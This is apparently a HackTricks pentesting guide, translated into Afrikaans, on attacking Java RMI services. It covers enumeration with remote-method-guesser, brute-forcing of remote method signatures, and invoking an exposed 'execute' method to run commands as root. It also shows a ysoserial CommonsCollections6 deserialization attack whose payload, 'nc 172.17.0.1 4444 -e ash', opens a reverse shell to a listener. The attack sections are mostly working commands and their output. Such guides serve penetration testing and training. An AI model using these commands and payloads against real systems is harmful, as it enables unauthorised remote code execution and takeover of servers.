1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Gebruik Trickest om maklik werkstrome te bou en outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels. Kry Vandag Toegang:

Basiese Inligting

Java Remote Method Invocation, of Java RMI, is 'n objekgeoriënteerde RPC-meganisme wat 'n objek wat in een Java virtuele masjien geleë is, toelaat om metodes op 'n objek wat in 'n ander Java virtuele masjien geleë is, te roep. Dit stel ontwikkelaars in staat om verspreide toepassings te skryf met behulp van 'n objekgeoriënteerde paradigma. 'n Kort inleiding tot Java RMI vanuit 'n aanvallende perspektief kan gevind word in hierdie blackhat-aanbieding.

Verstekpoort: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Gewoonlik is slegs die standaard Java RMI komponente (die RMI Registry en die Activation System) aan algemene poorte gebind. Die remote objects wat die werklike RMI aansoek implementeer, is gewoonlik aan lukrake poorte gebind soos in die bostaande uitset.

nmap het soms probleme om SSL beskermde RMI dienste te identifiseer. As jy 'n onbekende ssl-diens op 'n algemene RMI poort raakloop, moet jy verder ondersoek instel.

RMI Komponente

Om dit eenvoudig te stel, maak Java RMI dit vir 'n ontwikkelaar moontlik om 'n Java object beskikbaar te stel op die netwerk. Dit maak 'n TCP poort oop waar kliënte kan koppel en metodes op die ooreenstemmende objek kan aanroep. Ten spyte van dat dit eenvoudig klink, is daar verskeie uitdagings wat Java RMI moet oplos:

  1. Om 'n metode-oproep via Java RMI te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die ObjID van die geteikende objek ken (die ObjID is 'n unieke en lukrake identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat Java RMI toelaat dat verskeie objekte op dieselfde TCP poort luister).

  2. Verre kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die Java virtuele masjien moet byhou watter van hierdie hulpbronne nog in gebruik is en watter van hulle deur die gemorsverwydering ingesamel kan word.

Die eerste uitdaging word opgelos deur die RMI-register, wat basies 'n benamingdiens vir Java RMI is. Die RMI-register self is ook 'n RMI-diens, maar die geïmplementeerde koppelvlak en die ObjID is vas en bekend by alle RMI kliënte. Dit maak dit vir RMI kliënte moontlik om die RMI-register te verbruik deur net die ooreenstemmende TCP poort te ken.

Wanneer ontwikkelaars hul Java objekte binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n RMI-register. Die register stoor alle inligting wat nodig is om met die objek te koppel (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die ObjID-waarde) en maak dit beskikbaar onder 'n mensleesbare naam (die gebonde naam). Kliënte wat die RMI-diens wil verbruik, vra die RMI-register vir die ooreenstemmende gebonde naam en die register gee al die nodige inligting om te koppel terug. Dus, die situasie is basies dieselfde as met 'n gewone DNS diens. Die volgende lys toon 'n klein voorbeeld:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Die tweede van die bogenoemde uitdagings word opgelos deur die Verspreide Vullisverwyderaar (DGC). Dit is nog 'n RMI-diens met 'n bekende ObjID-waarde en dit is beskikbaar op basies elke RMI-eindpunt. Wanneer 'n RMI-kliënt begin om 'n RMI-diens te gebruik, stuur dit 'n inligting na die DGC dat die ooreenstemmende afgeleë voorwerp in gebruik is. Die DGC kan dan die verwysingsgetal volg en ongebruikte voorwerpe skoonmaak.

Saam met die verouderde Aktiveringsisteem is hierdie die drie verstekkomponente van Java RMI:

  1. Die RMI-Register (ObjID = 0)

  2. Die Aktiveringsisteem (ObjID = 1)

  3. Die Verspreide Vullisverwyderaar (ObjID = 2)

Die verstekkomponente van Java RMI is al 'n geruime tyd bekende aanvalsvectors en daar bestaan meerdere kwesbaarhede in verouderde Java-weergawes. Vanuit 'n aanvaller-perspektief is hierdie verstekkomponente interessant, omdat hulle bekende klasse / koppelvlakke geïmplementeer het en dit maklik is om met hulle te interaksieer. Hierdie situasie is anders vir aangepaste RMI-dienste. Om 'n metode op 'n afgeleë voorwerp te roep, moet jy die ooreenstemmende metodesignatuur op voorhand ken. Sonder om 'n bestaande metodesignatuur te ken, is daar geen manier om met 'n RMI-diens te kommunikeer nie.

RMI Enumerasie

remote-method-guesser is 'n Java RMI kwesbaarheidsskandeerder wat in staat is om algemene RMI-kwesbaarhede outomaties te identifiseer. Wanneer jy 'n RMI eindpunt identifiseer, moet jy dit probeer:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Die uitset van die enumerasie-aksie word meer in detail verduidelik in die dokumentasiebladsye van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.

Die ObjID-waardes wat deur remote-method-guesser vertoon word, kan gebruik word om die tyd aanlyn van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Metodes

Selfs wanneer geen kwesbaarhede geïdentifiseer is tydens enumerasie, kan die beskikbare RMI dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van RMI kommunikasie na RMI standaard komponente wat beskerm word deur deserialisasie filters, wanneer daar met aangepaste RMI dienste gepraat word, is sulke filters gewoonlik nie op hul plek nie. Om geldige metode handtekeninge op RMI dienste te ken, is dus waardevol.

Ongelukkig ondersteun Java RMI nie die opnoem van metodes op afgeleë voorwerpe nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos remote-method-guesser of rmiscout te bruteforce:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Geïdentifiseerde metodes kan soos volg geroep word:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Of jy kan deserialisasie aanvalle uitvoer soos hierdie:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Meer inligting kan gevind word in hierdie artikels:

Afgesien van raaiwerk, moet jy ook in soek enjins of GitHub kyk vir die koppelvlak of selfs die implementering van 'n teengekomde RMI diens. Die gebonden naam en die naam van die geïmplementeerde klas of koppelvlak kan hier nuttig wees.

Bekende Koppelvlakke

remote-method-guesser merk klasse of koppelvlakke as bekend as hulle gelys word in die gereedskap se interne databasis van bekende RMI-dienste. In hierdie gevalle kan jy die bekend aksie gebruik om meer inligting oor die betrokke RMI-diens te kry:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • poort:1099 java

Gereedskap

Verwysings

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Gebruik Trickest om maklik en outomatiseer werkstrome te bou wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente. Kry Vandaag Toegang:

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated